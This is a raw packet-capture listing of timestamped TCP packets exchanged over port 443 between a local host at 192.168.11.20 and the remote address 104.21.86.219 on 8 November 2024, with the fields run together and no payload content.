                                                                                                                                          Nov 8, 2024 11:28:29.295907974 CET44349734104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:28:29.296036005 CET49734443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:28:29.296039104 CET44349734104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:28:29.296189070 CET49734443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:28:29.296211958 CET44349734104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:28:29.296233892 CET44349734104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:28:29.296246052 CET49734443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:28:29.296353102 CET44349734104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:28:29.296464920 CET49734443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:28:29.296529055 CET44349734104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:28:29.296664000 CET49734443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:28:29.296680927 CET44349734104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:28:29.296839952 CET49734443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:28:29.296880007 CET44349734104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:28:29.297014952 CET44349734104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:28:29.297022104 CET49734443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:28:29.297149897 CET49734443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:28:29.297178984 CET44349734104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:28:29.297408104 CET49734443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:28:29.524327993 CET44349734104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:28:29.524445057 CET44349734104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:28:29.524693012 CET49734443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:28:29.524744987 CET44349734104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:28:29.525015116 CET49734443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:28:29.525151968 CET44349734104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:28:29.525414944 CET49734443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:28:29.525477886 CET44349734104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:28:29.525506973 CET44349734104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:28:29.525732040 CET49734443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:28:29.525873899 CET44349734104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:28:29.526110888 CET49734443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:28:29.526149035 CET44349734104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:28:29.526330948 CET49734443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:28:29.526330948 CET49734443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:28:29.526848078 CET44349734104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:28:29.527113914 CET49734443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:28:29.527225018 CET44349734104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:28:29.527471066 CET49734443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:28:29.527766943 CET44349734104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:28:29.527904987 CET44349734104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:28:29.527988911 CET49734443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:28:29.528120995 CET49734443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:28:29.528155088 CET44349734104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:28:29.528327942 CET49734443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:28:29.528728962 CET44349734104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:28:29.529023886 CET49734443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:28:29.529144049 CET44349734104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:28:29.529299021 CET49734443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:28:29.529309034 CET44349734104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:28:29.529434919 CET49734443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:28:29.529489040 CET44349734104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:28:29.529656887 CET49734443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:28:29.777389050 CET44349734104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:28:29.777858019 CET49734443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:28:29.777890921 CET44349734104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:28:29.777916908 CET44349734104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:28:29.778095961 CET44349734104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:28:29.778181076 CET49734443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:28:29.778244019 CET44349734104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:28:29.778286934 CET44349734104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:28:29.778547049 CET49734443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:28:29.778611898 CET44349734104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:28:29.778654099 CET44349734104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:28:29.778799057 CET44349734104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:28:29.778803110 CET49734443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:28:29.778844118 CET44349734104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:28:29.778913975 CET49734443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:28:29.778960943 CET44349734104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:28:29.779040098 CET49734443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:28:29.779103994 CET44349734104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:28:29.779140949 CET44349734104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:28:29.779191971 CET49734443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:28:29.779263020 CET44349734104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:28:29.779341936 CET49734443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:28:29.779371977 CET44349734104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:28:29.779511929 CET49734443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:28:29.779539108 CET44349734104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:28:29.779680967 CET49734443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:28:29.779714108 CET44349734104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:28:29.779781103 CET49734443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:28:29.779906988 CET49734443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:28:29.780210972 CET44349734104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:28:29.780261993 CET44349734104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:28:29.780355930 CET49734443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:28:29.780399084 CET49734443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:28:29.780431032 CET44349734104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:28:29.780457973 CET49734443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:28:29.780464888 CET44349734104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:28:29.780493975 CET44349734104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:28:29.780654907 CET49734443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:28:30.015386105 CET44349734104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:28:30.015424013 CET44349734104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:28:30.015642881 CET49734443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:28:30.015675068 CET44349734104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:28:30.015743017 CET49734443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:28:30.015880108 CET49734443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:28:30.016608000 CET44349734104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:28:30.016732931 CET44349734104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:28:30.016858101 CET49734443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:28:30.017008066 CET49734443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:28:30.017040014 CET44349734104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:28:30.033271074 CET44349734104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:28:30.033303022 CET44349734104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:28:30.033459902 CET49734443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:28:30.033499002 CET44349734104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:28:30.033524990 CET44349734104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:28:30.033524990 CET49734443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:28:30.033524990 CET49734443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:28:30.033560038 CET44349734104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:28:30.033595085 CET49734443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:28:30.033827066 CET44349734104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:28:30.033848047 CET49734443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:28:30.033889055 CET44349734104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:28:30.033999920 CET49734443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:28:30.034025908 CET44349734104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:28:30.034281015 CET49734443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:28:30.034312963 CET44349734104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:28:30.034333944 CET49734443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:28:30.084101915 CET49734443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:28:30.260953903 CET44349734104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:28:30.261010885 CET44349734104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:28:30.261102915 CET49734443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:28:30.261153936 CET49734443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:28:30.261250019 CET49734443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:28:30.261303902 CET44349734104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:28:30.261342049 CET49734443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:28:30.261415005 CET44349734104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:28:30.261544943 CET44349734104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:28:30.261552095 CET49734443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:28:30.261590958 CET44349734104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:28:30.261744976 CET49734443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:28:30.261744976 CET49734443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:28:30.261934042 CET49734443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:28:30.264787912 CET44349734104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:28:30.265182972 CET49734443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:28:30.266664982 CET44349734104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:28:30.266726971 CET44349734104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:28:30.266876936 CET49734443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:28:30.267455101 CET49734443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:28:30.267507076 CET44349734104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:28:30.268599987 CET44349734104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:28:30.268660069 CET44349734104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:28:30.268760920 CET49734443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:28:30.268812895 CET44349734104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:28:30.268832922 CET49734443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:28:30.269043922 CET49734443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:28:30.270186901 CET44349734104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:28:30.270239115 CET44349734104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:28:30.270442963 CET49734443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:28:30.270493984 CET44349734104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:28:30.270526886 CET49734443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:28:30.270623922 CET49734443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:28:30.271037102 CET44349734104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:28:30.271230936 CET49734443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:28:30.271281004 CET44349734104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:28:30.271300077 CET49734443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:28:30.318401098 CET49734443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:28:30.498203039 CET44349734104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:28:30.498225927 CET44349734104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:28:30.498270035 CET44349734104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:28:30.498492002 CET49734443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:28:30.498550892 CET44349734104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:28:30.498838902 CET49734443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:28:30.500422955 CET44349734104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:28:30.500441074 CET44349734104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:28:30.500521898 CET44349734104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:28:30.500711918 CET49734443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:28:30.500768900 CET44349734104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:28:30.500786066 CET49734443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:28:30.501024008 CET49734443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:28:30.502310038 CET44349734104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:28:30.502363920 CET44349734104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:28:30.502619028 CET49734443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:28:30.502676010 CET44349734104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:28:30.502712011 CET49734443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:28:30.502868891 CET44349734104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:28:30.502916098 CET49734443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:28:30.502978086 CET44349734104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:28:30.503026009 CET49734443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:28:30.503128052 CET49734443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:28:30.518390894 CET44349734104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:28:30.518465042 CET44349734104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:28:30.518691063 CET49734443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:28:30.518748999 CET44349734104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:28:30.518764973 CET49734443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:28:30.520780087 CET44349734104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:28:30.520832062 CET44349734104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:28:30.520960093 CET49734443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:28:30.521012068 CET44349734104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:28:30.521032095 CET49734443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:28:30.521188021 CET49734443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:28:30.521378040 CET44349734104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:28:30.521437883 CET44349734104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:28:30.521544933 CET49734443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:28:30.521601915 CET44349734104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:28:30.521622896 CET49734443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:28:30.521745920 CET49734443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:28:30.522931099 CET44349734104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:28:30.522981882 CET44349734104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:28:30.523166895 CET49734443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:28:30.523216963 CET44349734104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:28:30.523236036 CET49734443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:28:30.523363113 CET49734443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:28:30.524477959 CET44349734104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:28:30.524535894 CET44349734104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:28:30.524629116 CET49734443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:28:30.524692059 CET44349734104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:28:30.524842024 CET49734443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:28:30.524904013 CET49734443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:28:30.741667986 CET44349734104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:28:30.741920948 CET44349734104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:28:30.742216110 CET49734443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:28:30.742227077 CET44349734104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:28:30.742789984 CET49734443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:28:30.749013901 CET44349734104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:28:30.749025106 CET44349734104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:28:30.749102116 CET44349734104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:28:30.749181986 CET49734443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:28:30.749193907 CET44349734104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:28:30.749313116 CET44349734104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:28:30.749394894 CET44349734104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:28:30.749530077 CET49734443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:28:30.749546051 CET44349734104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:28:30.749871016 CET49734443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:28:30.750030041 CET49734443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:28:30.750756979 CET44349734104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:28:30.750936985 CET49734443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:28:30.750977039 CET44349734104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:28:30.751157999 CET49734443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:28:30.751169920 CET44349734104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:28:30.751235962 CET49734443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:28:30.751357079 CET49734443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:28:30.752393007 CET44349734104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:28:30.752404928 CET44349734104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:28:30.753412962 CET49734443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:28:30.753412962 CET49734443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:28:30.753412962 CET49734443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:28:30.753427982 CET44349734104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:28:30.753513098 CET49734443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:28:30.754183054 CET44349734104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:28:30.754196882 CET44349734104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:28:30.754339933 CET49734443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:28:30.754353046 CET44349734104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:28:30.754511118 CET49734443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:28:30.754565001 CET49734443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:28:30.755810976 CET44349734104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:28:30.755880117 CET44349734104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:28:30.756069899 CET49734443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:28:30.756082058 CET44349734104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:28:30.756320000 CET49734443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:28:30.757596016 CET44349734104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:28:30.757608891 CET44349734104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:28:30.757823944 CET49734443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:28:30.757994890 CET49734443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:28:30.758007050 CET44349734104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:28:30.758191109 CET49734443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:28:30.759437084 CET44349734104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:28:30.759449959 CET44349734104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:28:30.759676933 CET49734443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:28:30.759689093 CET44349734104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:28:30.759764910 CET49734443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:28:30.759902000 CET49734443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:28:30.760356903 CET44349734104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:28:30.760622978 CET49734443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:28:30.985971928 CET44349734104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:28:30.985991955 CET44349734104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:28:30.986306906 CET49734443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:28:30.986318111 CET44349734104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:28:30.986510038 CET49734443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:28:30.987018108 CET44349734104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:28:30.987078905 CET44349734104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:28:30.987373114 CET49734443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:28:30.987385988 CET44349734104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:28:30.989254951 CET44349734104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:28:30.989273071 CET44349734104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:28:30.989411116 CET49734443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:28:30.989423037 CET44349734104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:28:30.989553928 CET49734443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:28:30.991168976 CET44349734104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:28:30.991187096 CET44349734104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:28:30.991529942 CET49734443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:28:30.991542101 CET44349734104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:28:30.993014097 CET44349734104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:28:30.993035078 CET44349734104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:28:30.993335962 CET49734443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:28:30.993345976 CET44349734104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:28:30.993803978 CET44349734104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:28:30.993875980 CET44349734104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:28:30.994544983 CET49734443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:28:30.994565010 CET44349734104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:28:30.994693041 CET49734443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:28:30.994724989 CET44349734104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:28:30.994905949 CET49734443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:28:30.994956970 CET49734443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:28:30.996588945 CET44349734104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:28:30.996613979 CET44349734104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:28:30.997306108 CET49734443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:28:30.997328997 CET44349734104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:28:30.997433901 CET49734443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:28:30.997535944 CET49734443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:28:31.000540018 CET44349734104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:28:31.000638962 CET44349734104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:28:31.000763893 CET49734443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:28:31.000787020 CET44349734104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:28:31.000890017 CET49734443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:28:31.000965118 CET44349734104.21.86.219192.168.11.20
